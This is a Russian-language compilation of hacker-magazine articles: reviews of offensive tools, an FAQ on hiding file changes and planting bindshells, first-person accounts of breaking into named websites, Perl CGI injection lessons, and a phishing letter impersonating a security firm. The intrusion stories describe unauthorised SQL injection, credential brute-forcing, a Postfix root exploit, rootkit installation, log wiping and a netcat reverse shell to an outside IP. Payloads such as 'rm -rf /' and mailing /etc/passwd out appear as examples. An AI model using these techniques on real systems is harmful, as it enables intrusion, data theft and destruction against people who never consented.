У каждого хакера должен быть свой личный набор боевого софта. Этот набор должен отвечать кое каким требованиям, которые каждый устанавливает сам. Я например, люблю небольшие программы, которые не обременены большим количеством функций.
Кому то нравятся программы гиганты с множеством встроенных возможностей.
В этом материале я решил описать несколько малоизвестных тулз, которые иногда могут работать почище популярных утилит.
«Маленький значит красивый» - именно этим принципом мы и будет держаться.
*********
body
*********
---------
webi.c
---------
enter
Первой утилитой, которую мы сегодня разберем, будет webi.c. Ее автором является лицо под ником Condor. Программа выполняет функции подделки (или инъекции, как сказано в описании) HTTP пакетов. Собственно она является аналогом (почти) windows утилиты InetCrack.
Первая при необходимости выводит справку для программы.
Вторая, преобразовывает int строки в char. Она написано специально для совместимости с некоторыми системами (т.к. иногда ее просто в них нет)
Ну и третья функция производит base64 кодировку.
В главной (main) функции, c помощью конструкции switch проверяются ключи.
Далее происходит сама генерация пакета.
Ну и конечной частью кода является отправка пакета и прием ответа.
Other
В принципе те же самые действия можно произвести с помощью той же netcat, но согласитесь, эта программа более удобна. К тому же ее исходный код занимает всего 300 строк.
-----------
synner.c
-----------
enter
Итак, наш следующий подопытный называется synner. Автором этого инструмента является человек под ником sm4x.
Программа является генератором TCP пакетов и служит для тестирования брандмауэров и производства DoS атак. Она может отправлять большие TCP пакеты с определенными TCP флагами, MAC и IPS
unsigned short calc_checksum(unsigned char *, int );
... вычисляет контрольную сумму, которая необходима при формировании пакета.
Так же в коде есть структура tcphdr. Она содержит в себе структуру TCP пакета. Если хотите более подробную информацию о ее полях обратитесь к спец. источнику.
Other
Как видите, программа довольно проста в использовании, но при этом является мощным инструментом, который займет достойное место в нашей коллекции.
A-SnIf.c
enter
Следующим на очереди стоит программа-сниффер A-SnIf. Ее создателем является некто
по имени Asynchro.
Загрузить код можно тут
http://packetstormsecurity.org/sniffers/A-SnIf.c
Это довольно простой инструмент для перехвата пакетов. В описании автор указал даже, что это "сниффер для обучения". Тем не менее он работает, давайте разберемся как.
Description
По сложившийся традиции давайте рассмотрим ключи программы:
Ключ указывает на интерфейс, который нужно использовать вместо установленного по умолчанию.
-a
Адрес, с которого нужно «снифать» пакеты.
-p соотвественно порт, который нужно контролировать
-l ключ создает лог файл, куда будет писаться результат
-d
вывести выходные данные.
Вот довольно наигранный пример:
[stranger@localhost ~]$ ./snif -a 192.168.1.1 77 /home/stranger/log.txt
Собрать программку можно обычным gcс, как и в прошлых примерах.
Да и, для использования нужны рут права.
Other
Программа заняла около 400 строк. Это сравнительно мало.
Безусловно, в этом сниффере мало функционала, но не смотря на это он практичен.
cscan.pl
enter
Следующая тулза является cgi сканером (или сканером уязвимостей). Написана она на perl человеком с ником iceburg.
По сути ничего отличительного в ней нет. Утилита работает с базой данных в которой хранятся уязвимые скрипты. Ну как с базой… Обычный текстовик с уязвимыми скриптами. =)
В нем происходит обычное построчное считывание из файла. Далее идет обращение к веб серверу.
Other
Несмотря на простоту, сканер может помочь в некоторых ситуациях. В принципе в сети есть много аналогов, даже на других языках.
dittrich.pl
enter
Следующая программа нашей коллекции это dittrich. Так же как и предыдущая она написана на языке perl. Ее автор- David Dittrich. Утилита выполняет одну функцию – собирает информацию о целевой системе. Для своих злых дел она использует nmapи netcat. Так что проследите, что бы оные были у вас в наличие.
В качестве аргумента программе нужно передать адрес хоста. Но конечно возможно использовать несколько опций:
-repeat [N]
Тут мы указываем сколько раз нужно пытаться собрать данные. Если не указать значение программка будет мучить целевую систему пока та работает =)
-sleep [N]
Сколько секунд нужно «спать» перед следующей попыткой
Дефолтовое значение указано в сорце
-log
Имя лог файла.
in source code...
В начале кода задано несколько констант.
Вроде путь до nmap –a или время «спячки» между запросами.
Ну и далее идет собственно сам процесс сборки данных.
Он в основном опирается на использование «сетевой кошки» и нмапа.
Other
В итоге довольно удобный инструмент, берет на себя ввод команд в nmapили netcat и экономит наше время.
ftp-spider.pl
enter
Ну и завершает наш топ инструмент с названием ftp-spider. Ее автором являетсяNithen Naidoo. Программа написана на perl. Она сканирует ftp сервер на разные уязвимости, вроде неправильной расстановки прав доступа или обнаружение анонимного доступа. Есть возможность составлять структуру каталогов.
Думаю это очень полезный скрипт. Полезен именно тем, что не просто перебирает имена, пытаясь найти уязвимый ftp–шник, а пытается найти баги, которые появляются вследствие лени админа.
**********
Outro
**********
Ну что ж. На этом все. Собственно целью данной статьи не было побуждать вас использовать именно этот софт. Просто я хотел показать несколько удобных программок, которые могут быть полезны в определенных ситуациях. Вообще акцент делался именно на то, что инструменты были небольшие по размеру и их функциональность довольно усечена. Но это нельзя считать недостатком. По моему мнению, такие утилиты использовать гораздо приятнее и удобней.
Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой. q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)
Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:
Кстати в php есть одноименная функция для изменения времени доступа к файлу:
int touch (string filename [, int time [, int atime]])
Например:
Этот код меняет время модификации файла $filename на текущее время.
Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:
#include #include // необходимый заголовочный файл int main(int ac,char *ag[]) { struct stat buffer; // структура для хранения инфы if(ac!=1) если кол во аргументов не 1 то { if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то buffer.st_atime="09090909"; //меняем else printf("Не корректное имя файла\n"); // если ошибка } else printf("Пожалуйста введите необходимые аргументы\n"); }
q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)
Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:
Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:
НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:
q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:
standard in must be a tty
В чем проблема?
Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:
tty: not a tty
Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.
q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?
Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.
q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?
Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:
PHPKonsole PHPShell filetype:php -echo
Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:
intitle:c99shell filetype:php
c99shell шелл.
Думаю суть запросов ясен.
q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?
Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:
[stranger@localhost ~]$last -n 15
q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:
[stranger@localhost ~] which gcc
Терминал выдал вот это:
/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)
Что делать?
Решение: Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора.
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно. EOF
Привет читатель! Я продолжаю радовать (или огорчать) тебя своими сумасшедшими статьями. Сегодня меня накрыла муза. И я решил писать.
Название данного материала 5 раз – hack. О чем она?
Ниже я приведу 5 интересных случаев взлома. Потом проанализирую их.
Ну и начнем…
BODY
Предновогодний дамп && Печальная истории шопа. Hack №1
Предыстория
На улице была зима. Дело шло к Новому Году. Как раз перед каникулами я загрипповал и как водится, остался дома.
Потягивая чай с малиновым вареньем я серфил просторы Интернета, даже не задумываясь о том, что меня ждет дальше. Вскоре я наткнулся на онлайн шоп.
Там продавалось всякое барахло, вроде бейсболки с айподом или наушников со встроенным прибором для измерения пульса.
Делать было нечего, все знакомые из сети разошлись по школам и институтам, поэтому я решил протестировать сайт на безопасность.
Hack.
Reverse IP показало, что на сервер находится только этот ресурс
Не обнаружив в подвале сайта никаких надписей о версии и наименовании движка я обратил свой взгляд на исходник страницы.
После беглого осмотра кода стало ясно, что двиг самописный. Ну что ж так даже интереснее. Немного потыкав параметры я ничего не обнаружил. Скрипт тупо перенаправлял мена на главную страницу.
Но кто ищет тот найдет. Неприметная кнопочка, для вывода информации об изготовители товара, передавала не фильтруемое значение:
Хеш пассворда и логин были у меня в руках. Понадеявшись на фортуну я попробовал сбрутить хеш с помощью онлайн сервисов. К счастью админ оказался не слишком «продупленным» и пароль был несложным: 12041980. Похоже дата рождения
Осталось найти админ панель и дело в шляпе.
Только вот стандартные /admin и /administrator не прокатывали. Тогда я заглянул в поисковик:
site:www.tatshop.us admin
И удача! Первая ссылка ввела в админку.
www.tatshop.us/structure/admin
banny: 12041980
Оказавшись хозяином сайта я стал прощупывать CMS на возможность выполнение кода.
В разделе «настройки» была возможность добавлять товары и заливать картинки. Чем я и воспользовался, залив r57shell.
Тут я понял, что мне придется изрядно постараться, что бы найти его. Минут пятнадцать побрутив директории я таки наткнулся на скрипт:
Можно было попробовать залить нормальный шелл, но я не стал торопиться.
Погуляв по доступным директориям, я нашел интересным файл:
configmysql.php
Содержание было довольно обширным, но меня привлекла вот эта часть:
Дальше все было просто, как два байта передать. Я подключился и зделал дапм базы.
Послесловие.
Как видите, безопасность сайта опять подвела иньекция. К тому же в админ панели было несложно залить шелл. Так что администрация крупно облажалась. Так вот, стоит ли ставить самописные двиги на такие проекты? Думаю если бы стоял паблик движок, то взлом затянулся бы подольше. Хотя это тоже могло и упростить дело.
Мыло стоит рута && ода о паролях. Hack №2
Предисловие.
Было около 11 часов вечера. Вернувшись, домой после вечерней прогулки я первым делом проверил почту, прикидывая в голове план на очередную бессонную ночь. Неплохо было бы пополнить свою коллекцию шелл аккаунтов.
Допросив гугл я нашел парочку .us сайтов. Выбрав один я стал осматривать содержимое.
Hack.
Ничего особенного кажется новостной портал или что то вроде того.
Погуляв по сайту я наткнулся на мыло rabel@newnews.us
Вызвав консоль, я запустил полуоткрытое сканирование портов:
$nmap –v –sS www.newnews.us
21 open
22 open
25 open
110 open
Пробив 21 порт netcat –ом я убедился, что там висел свеженький ProFTP
Вернувшись на сайт, я нашел почтовый сервис. Там присутствовала функция восстановления пароля, но это не катило. Мне нужен был сам пароль. Похоже, выходом из данной ситуации был только брут.
Порывшись в архивах я нашел perl скрипт. Пристыковав к нему весомую базу паролей, я запустил брутофорс.
Скрипт закончил работу на следующее утро. Пароль был довольно простым:
13 05 33 26
Поковыряв почтовый ящик я не обнаружил там ничего интересного.
Тогда я решил реализовать старую задумку – попробовать войти на ftpс помощью пароля от мыла:
$ftp
$>open 234.32.54.17
User rabel
Passwd
И как ни странно у меня получилось
Создав простенький phpскрипт примерно такого содержания:
Я залил его в корневую директорию сайта:
$cd /www
$send /home/stranger/tmp.php
И выполнил
www.newnews.us/tmp.php
Теперь можно бы попробовать подключиться к серверу:
Но команда
$uname –a
Совсем меня не порадовала
На серванте крутилась последняя (на тот момент) пропатченое ядро linux
Уже собравшись плюнуть на это дело я проверил запущенные процессы.
Меня заинтересовал демон Postfix. Я вспомнил, что сканирование показало открытый 25 порт сервера.
А известно, что в Postfix для открытие 25 порта нужны рутовые привилегии. Так что есть возможность поднять свои права.
Проверив версию демона я был приятно удивлен. В паблике меня уже дожидался, сплоит, который давал рута. Посмотреть можно здесь.
$sh sploit.sh
Все. Осталось только установить руткит.
Залив wget –ом LRK5 я запустил его в теневом режиме:
$make shadow install
Затерев логи я вышел из системы.
Послесловие.
Как видишь, всего лишь одно взломанное мыло стоило администрации очень дорого. Думаю, не стоило светить электронный адрес на сайте.
Да и за обновление ПО следить нужно повнимательней. Думаю если бы Postfix был обновлен я бы не смог получить рут.
Как развлекаются скрипт-кидди && Мой первый взлом. Hack №3
Предыстория.
Начитавшись статей про крутые взломы, мне жутко захотелось сделать что то подобное.
Изучив phpincludebug, я начал пытать google.
Hack
inurl:"php" and "page="
Пропарсив несколько ссылок я обнаружил инклуд. Жалко, что не удаленный, но читать файлы было возможно:
На что тот выплюнул содержимое текущей директории.
Но из-за своей неопытности я так и не смог ничего сделать, кроме как задефейсить главную страницу.
А что вы хотели? Первый взлом.=)
Послесловие.
Как видите, я, не имея практически никакого опыта, смог задефейсить сайт. И все из-за банального инклуда. Конечно если бы тогда у меня было побольше опыта и знаний последствия могли бы быть гораздо серьезнее.
Почему нужно знать php. Hack №4
Предыстория.
Однажды утром мой хороший сетевой друг попросил проверить один сайт, т.к. у него были давние счеты с админом. Знакомый этот меня часто выручал, поэтому я решился взяться за это.
Hack.
Первое что бросилось в глаза это подпись в подвале сайта:
Powerby CamanCMS
Помучив гугл мне стало ясно, что это бесплатный двиг. Причем про уязвимости в нем не говорилось ни слова.
Но была реальная возможность поискать дыры самому в исходном коде.
Скачав CMS и поставив ее на localhost, я принялся за изучение.
Скажу, что поиск дыр занял около часа, за это время я наткнулся только на пассивную xss.
Но вскоре удача повернулась ко мне приличным местом, вот в этом участке кода:
{print “Information not found
”}
Об этой уязвимости я читал в статье Elekt –a.
Суть в том, что использование модификатора –e в регулярном выражении может вести к выполнению произвольного кода во втором параметре. Скажу что бага ну ОЧЕНЬ редкая. У меня были сомнения насчет нее. Но на целевом сайте выглядело так:
Код:
www.jonniget.ru/find.php?name=CODE&
Теперь нужно было получить нормальный доступ к серверу, т.к. другу этого было достаточно.
Скачав и запустив на сервер биндшелл я попробовал подлючиться. Но вопреки моим ожиданием коннекта не было. Похоже, фаервол резал все входящие подключения.
Но была вероятность, что он неправильно настроен, т.е. возможно провести бэкконнект.
Не долго думая я выполнил такую команду (у себя в консоли)
Код:
netcat -l -p 4444
А на целевом сервере:
nc -v 43.23.234.32 4444 -e /bin/sh &
Где 43.23.234.32 – мой адрес
Через некоторое время произошло подключение.
Больше мне и не нужно было. Написав небольшую записку о реализации уязвимости, я отправил ее своему знакомому по e-mail
Послесловие.
Ну что сказать. Создатели сайта использовали бесплатную CMS. Не скажу, что это плохо, но как видно ошибки все-таки нашлись. Я даже был несколько удивлен тому, что их оказалось немного. Несомненно, плюс администрации за файрвол, который блокировал мой бинд шелл. Но опять же он был неправильно настроен, что и позволило мне проникнуть на сервер.
После взлома && По другую сторону баррикад. Hack №5
Предыстория
Около 2 месяцев назад мне нужно было исследовать одну «живую» взломанную систему.
Сейчас я и расскажу об этом.
Hack…. или не hack?
В общем, система была свеженькая, не перезагруженная. Так сказать труп был еще теплым =(/)
Нужно было очень хорошо подумать. Ведь система могла быть протроянена.
Поэтому я решил сначала протестировать взломанную Ось на наличие руткитов, а потом проанализировать лог файлы. Если такие сохранились.
В качестве клинера я выбрал chkrootkit
Скачав и распаковав архив я уже хотел приступить к компиляции, но вспомнил что я redhat системе. Поэтому пришлось кое-что подредактировать в исходниках (манны кстати здорово помогли):
chklastlog.c
#define LASTLOG_FILENAME "/var/adm/lastlog"
On
#define LASTLOG_FILENAME "/var/log/lastlog"
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"
chkwtmp.c
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"
Далее компиляция была произведена без последствий.
Запуск:
$./chkrootkit
Но программа так ничего и не обнаружила. Похоже, система была чиста.
Тогда возможно остались лог файлы, поэтому я пошел помучить syslog.
Но и тут все было в порядке. Странно. Может админы нас нае*бли?
Но вот что интересно. Пробежавшись по временным файлам, я обнаружил один, который меня заинтересовал. Похоже, он относился к логклинеру vanish.
Но ваниш прога порядочная. Все файлы после себя подтирает. Единственное что пришло мне в голову это то, что взломщик аварийно прекратил работу программы. Тогда бы временные файлы остались.
После некоторых раздумий я решил проверить логи апача.
Веб контент был скудный, одни HTML (по словам администрации), стоял еще форум, но он был пропатчен. Так что взлом через веб зону был исключен. Но проверить не помешает.
В логах было обнаружена вот такая картина (вырезка):
Использование сплоита на лицо. Но как вы понимаете неудачно. Айпишник тоже засветился. Но, скорее всего это прокси.
Вот и все что удалось раскопать. А взлом был произведен из-за не пропатченого демона ftp
Далее я просто скинул админу на мыло результат работы.
Послесловие.
Ну что тут сказать. В первых хакера подвела работа логвайпера. Т.е. по сути, он сам себя подвел. Да и потом использование этого сомнительного сплоита. И следы в логах апача. Похоже, работал новичок.
OUTRO.
Ну вот. Я постарался выбрать 5 разных случаев взлома. Надеюсь, этот материал поможет зазевавшимся админам в их работе. Взломы есть и будут. Вопрос только во времени.
Удачи!
die «Вся информация выложена только для ознакомление, автор не несет ответственности за использование материала в личных целях»
Наверняка вы найдёте в статье ошибки. Буду очень рад если они будут указаны в комментариях.
Закрыв окно терминала, Максим устало взглянул на часы.
Было 2:23.
Отправив kerny в оффлайн сообщение об удачном дефейсе, он выключил компьютер.
Можно было идти спать.
Спихнув с софы кота, Макс упал на подушку и заснул.
UTRO или послесловие
В этом рассказе я позволил себе маленький эксперимент. Я взял что-то из реальности, что то сам выдумал и на основе этого составил весь текст. В любом случае, приведенные в рассказе уязвимости встречались мне реально. Кстати, дело в том, что у меня нет даже среднего образования, так что прошу прощения за мою некрасивую речь. Ну, вот и все. Жду комментариев и жесткой критики.
Эта статья является логическим продолжением предыдущей. Если вы читали ее, то помните, что мы говорили об уязвимостях в исходных кодах на языке Си. В этой статье я хочу поговорить об ошибках в CGI программах. Как показывает практика, баги в скриптах не уступают по своей опасности уязвимостям в прикладных программах.
Мы поговорим о perl скриптах. Возможно, вы скажете, что perl уже устарел и в web он мало где используется. Но все-таки он есть. И думаю, знание слабых мест этого языка никому не помешает.
B O D Y
Perl расшифровывается, как Practical Extraction and Report Language (практический язык для извлечения данных и составления отчётов). Он простой, мощный и небезопасный. Некоторые дыры в скриптах на перл похожи на дыры в php скриптах.
К этому можно отнести SQL injection или XSS. Но есть и индивидуальные ошибки. Например, символ конвейера перл может воспринять как команду на запуск приложения. Кстати, в перл не может быть переполнения буфера в отличие от того же Си.
Это все разберём ниже. Прежде чем рассказывать про аудит кода, я покажу и расскажу принцип работы CGI сканеров.
CGI сканеры
Как и любое другое действие, поиск уязвимостей можно автоматизировать. Одним из решений является применение CGI сканеров (сейчас их называют сканеры безопасности).
В состав классического сканера обязательно входит база наименований уязвимых скриптов. База составлена с помощью нашего любимого багтрака. Так можно составить свою базу. Сканеры берут данные из базы и производят запрос к нужному серверу. Если сервер отвечает, что файл такой есть, можно пойти и найти описание уязвимости. Часто такие сканнеры постепенно обрастают разными функциям вроде составление листинга директорий сайта либо Revers IP(определение какие еще соседние домены зарегистрированы на сервере)
Разберём несколько программ:
Nikto – конечно, эта программа должна быть на первом месте. Написана на перл (кстати). Есть поддержка SSL. Проверяет хост на известные уязвимости, также на устаревшее ПО. Есть как для linux так и для Winдows. Кстати nikto построен на основе легендарного (но, к сожалению, устаревшего) сканера Whisker.
VOID EYE-работает через прокси. Поддержка скинов.
UKR Cgi Scanner - еще один. Написан на Perl. Имеет html дизайн.
Автоматизация это конечно хорошо, но вы не должны забывать, что сканеры не дают 100% гарантии. Программы пишут люди, а людям свойственно ошибаться. Поэтому полагаться целиком на сканеры не стоит.
А теперь поговорим о поиске багов aka «багоискательстве».
Аудит кода
В прошлой статье я говорил о том, что нужно проверять все входящие данные. Как ни странно, но на CGI программы это правило тоже действует. Даже, пожалуй, нужно еще более жестко следить за входящей информацией. Обычно пользователь вводит ее в текстовое поле, либо в адресной строке (при GET запросе).
Самая старая и известная бага: при открытии файла подставляем “|”(pipe – пайп) и выполняем команды на сервере.
Работает это через функцию open. Приведу пример:
#тут получаем данные в переменную, например из веб формы
$n=$F{data}
#Открываем
open(TEXT,$n)
#считываем
while()
{
Выводим.
print $_;
}
Если ввести ,например, ls| получим листинг директории (если мы в *nix системе) Т.е. выполняется консольная команда, если пристыковать к ней «|» Правда, уязвимость постепенно уходит в историю.
Тут как раз можно поговорить про «пайпы»(|); При работе с open можно использовать опцию «-е»
Он проверяет, есть ли в переменной pipe. Если есть, дает пинка. Пример:
Но, естественно, эту защиту можно обойти с помощью NULL byte ():
$n="/bin/ls\0 /etc|";
Теперь как только опция “-e” увидит null byte, она остановит обработку. И pipe не будет замечен. Вот так.
Кстати, функцией open можно читать файлы на сервере. Если не смотреть на технические детали, то эта ошибка очень похожа на php inсlude bug.
Главная проблема безопасности в perl - это передача оболочке ОС пользовательских переменных без их проверки и использование опасных функций.
К таковым можно отнести те, которые работают с процессами и командами ОС, а это: exec(),system(),fork(),readpipe()…
Сами понимаете, если аргументы, например, функции system, проверяться не будут, то у нас появляются очень интересные возможности.
Также существует функции eval (php программисты меня поймут), дело в том, что функция выполняет код, который передается ей в качестве аргумента. Естественно, если не производить фильтрации, то взломщик сможет выполнить произвольный код.
В перле есть такая вещь как обратные кавычки(“).Все, что в них заключено, отправляется на выполнение в shell оболочку. Понимаете, к чему я клоню? Нет проверки входящих данных – и шелл наш.
Часто нерадивые программисты забывают фильтровать данные Cookies. А ведь изменить HTTP запрос и поставить в «куки» кавычку совсем не сложно.
Если используются переменные окружения, то, возможно, они могут тоже представлять опасность. Например, некоторые можно перезаписать.
Хорошо, если в скрипте присутствует фильтрация, но фильтроваться могут не все символы. Нужно всегда внимательно смотреть на это. Возможно, разработчик кое- что пропустил.
Вот примерный список символов, которые нужно фильтровать:
$filename =~/[<>\|\-&\.\\\/\0]/
Как и в php или в asp, в perl возможен sql injection bug.
Давайте разберёмся подробнее, как перл работает с mysql. А потом поговорим про инъекции.
Для работы с СУБД mysql используется модуль mysql(use mysql)
Вот так подключаемся к базе :
Далее с помощью ListFields мы занесем в переменную $s кол-во столбцов и подобную информацию о таблице
$s = ListFields $db $table;
А вот так мы выбираем данные:
@arr = @{$s->name}; #массив имен столбцов.
Ну и самое важное – сам запрос к БД:
$s = $db->Query($sq);
А вот такой код будет уязвим:
#Тут мы НЕ фильтруем $d
$ = $db->Query("SELECT * FROM Widget_Table WHERE widget_id = $id") or die $Mysql::db_errstr;
Ну и далее подставляем кавычку и пытаемся вытащить данные из базы.
Practice
Ну что ж, пришло время практики. Как и в прошлой статье, я буду выкладывать отрывки уязвимых программ. Ваша задача найти уязвимость. Если возникнут проблемы, вы как всегда сможете прочесть решение.
Как видите, фильтрация есть. Но не безопасная.
Не фильтруются, например, символы ‘`’ или ‘0′
Взломщик может отправить что- то вроде: rm -rf/
или
./../../var/log/boot.log
Кстати, '/' тоже не фильтруется
$a=param('oldf')
$b=param('newf');
system "mv $a $b";
А тут бросается в глаза отсутствие фильтрации. К тому же используется опасная функция system()
Если введем что нибудь типа:
/t.txt; rm -rf/
то для администратора этот день закончится неудачно.
$mail='/usr/sbin/sendmail';
$m=FROMA{'usrs'};
open(MAIL,"|$mail $m");
#Какой то вывод...
#..............
close(MAIL);
Опять же нет фильтров.
Да и происходит работа с внешними приложениями(sendmail). Что само по себе уже опасно.
А если мы введем, например, такую строку: badkod@mail.ru;mail coolkoder@cool.ru
К нам на e-mail (coolkoder@cool.ru) придет содержимое файла с именами пользователей системы(/etc/passwd)
На этом все.
O U T R O
В последнее время php и asp постепенно вытесняют perl. Думаю это правильно. Ведь перл очень уязвим. В этом есть и доля вины разработчиков языка. В нем полно опасных функций, которые открыто взаимодействуют с системой. Плюс неопытные программисты.
Но это вовсе не значит, что perl себя изжил. В системном администрировании он незаменим.
Ну что ж. Надеюсь, сегодня вы открыли для себя что-то полезное, и, если будете программировать CGI приложение, не допустите элементарных оплошностей.
На самом деле успех взлома состоит в том, что бы мыслить как админ или создательно сайта (или чего там?). Т.е. нужно продумать логику администратора (разработчика) и тогда все становиться ясно
Недавно меня заинтересовал один сайт, неважно какой тематике, просто сайт. Так вот - двиг самописный. Я прогулялся по сайту, потыкал переменные, ничего вроде небыло. Тут пришла идея, как бы достать хотябы некоторые куски исходного кода, подумав я составил примерно такое письмо:
Здраствуйте! Вас приветствует компания "securitybank". Мы проводим стандартные проверки на уязвимости сайты и банковские системы на наличие распространенных уязвимостей, возможно на вашем сайте присутствует такоевые. Мы просим связаться с нами по электронному адресу securitybank@nxt.ru для передачи исходного кода потонцеально уявимого модуля. C уважением главный менеджер компании securitybank
Для убедительности можно было бы указать якобы адрес компании. Через три дня мне пришло письмо от них. В итоге у меня были исходные коды нужного мне модуля =)
Бытует мнение, что взлом это творческий процесс и привязывать его к каким либо алгоритмам не следует. Но на самом деле то не совсем так. Общий порядок действий все таки есть. И я постараюсь рассказать о нем. Так же я буду приводить ссылки по теме. Итак, у нас есть удаленный сервер и адрес сайта который хоститься на этом сервере. Задача - получить права рут на сервере. Для начала нам нужно получить хоть какие нибудь права на удаленном сервере. Т.е. нам нужно получить доступ к выполнению команд. Можно идти по 2 путям. 1 - Рассматривать сайты которые хостятся на сервере и пытаться залить Shell. 2 - Напрямую сканировать сервер и пытаться найти уязвимости у сервисах которые запущены на нем.
Так же можно использовать СИ, но это не входит в рамки данной статьи.
Пожалуй начнем по порядку.
Атака на скрипты сайта. Итак, нам нужно залить шелл на через уязвимость в скриптах сайта. Здесь тоже можно поступать по-разному - либо самостоятельно искать уязвимости на сайте, либо определить название и версию скриптов, отправиться на багтрак и там поискать информацию о дырах в данных скриптах. Второй случай, думаю понятен. Например, вы приходите на сайт и видите в низу надпись WordPress XX.XX где ХХ.ХХ - версия движка. После вы идете например на www.securitylab.ru или на www.milw0rm.com там ищете сплоиты или информацию по уязвимостях в данной версии. Использую эту информацию или сплоиты вы сможете залить шелл на сервер тем самым, получив права на выполнение команд. На самом деле багтраков море, достаточно только поискать. Теперь разберем второй случай - под данную версию движка вы не смогли найти ничего. Теперь придется рассчитывать только на себя. Сначала нужно вручную проверить параметры сайта на фильтрацию т.е. проверить сайт на такие уязвимости, как PHP include, SQL inlection, XSS. С помощью первых двух вы сможете залить шелл, а с помощью XSS сможете украсть куки админа. Что бы не размусоливать эту тему предлагаю вам ознакомиться с ниже приведенными ссылками: SQL injection - ----------------------------------------------------------------------- http://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_SQL-%D0%BA%D0%BE%D0%B4%D0%B0 http://www.securitylab.ru/contest/212099.php http://www.xakep.ru/post/19146/default.asp http://www.whatis.ru/razn/razn13.shtml ------------------------------------------------------------------------
PHP include ----------------------------------------------------------------------- http://www.izcity.com/data/security/article1001.htm -----------------------------------------------------------------------
Кроме того, можно скачать себе исходные коды скриптов сайта (если они публичные) и разобрать его по косточкам на известные ошибки. ----------------------------------------------------------------------- http://www.xakep.ru/post/43786/default.asp http://www.dreamcheats.ru/t3779.html https://forum.antichat.ru/showthread.php?t=49184 ----------------------------------------------------------------------- В обще есть много хитростей при атаке на веб-сайт, советую поискать побольше информации в поисковике.
Предположим у тебя получилось залить шелл, ты можешь выполнять команды. На этом пока остановимся и разберем, как еще можно получить такой доступ.
Сканирование и использование эксплоитов. Сервер может выполнять разные функции - например, транспорт файлов (FTP) или отправка и прием почты (POP3, SMPT) и так далее. Что бы выполнять эти функции нужный специальные программы - сервисы, которые будут висеть на портах выполнять свои функции. Например, на сервере открыт 21 порт - этот порт использует протокол FTP. Раз порт открыт значит висит какой то сервис. Например, sendmail. Для определения открытых портов мы и будет сканировать сервер. Советую взять сканнер nmap. $nmap www.site.com
Здесь мы в параметре передали адрес сайта, который присутствует на сервере (хостится). Предположим, что сканер показал нам, что на сервере открыт 21 порт. На самом деле отрытых портов будет, но для примера возьмем этот. Теперь нам нужно узнать имя и версию сервиса который тут висит. Для этого можно использовать telnet: $telnet www.site.com 21
в ответ сервер выдаст нам приветствие и скорее всего имя и версию сервиса.
Сразу же можно определить ОС: $nmap www.site.com -O
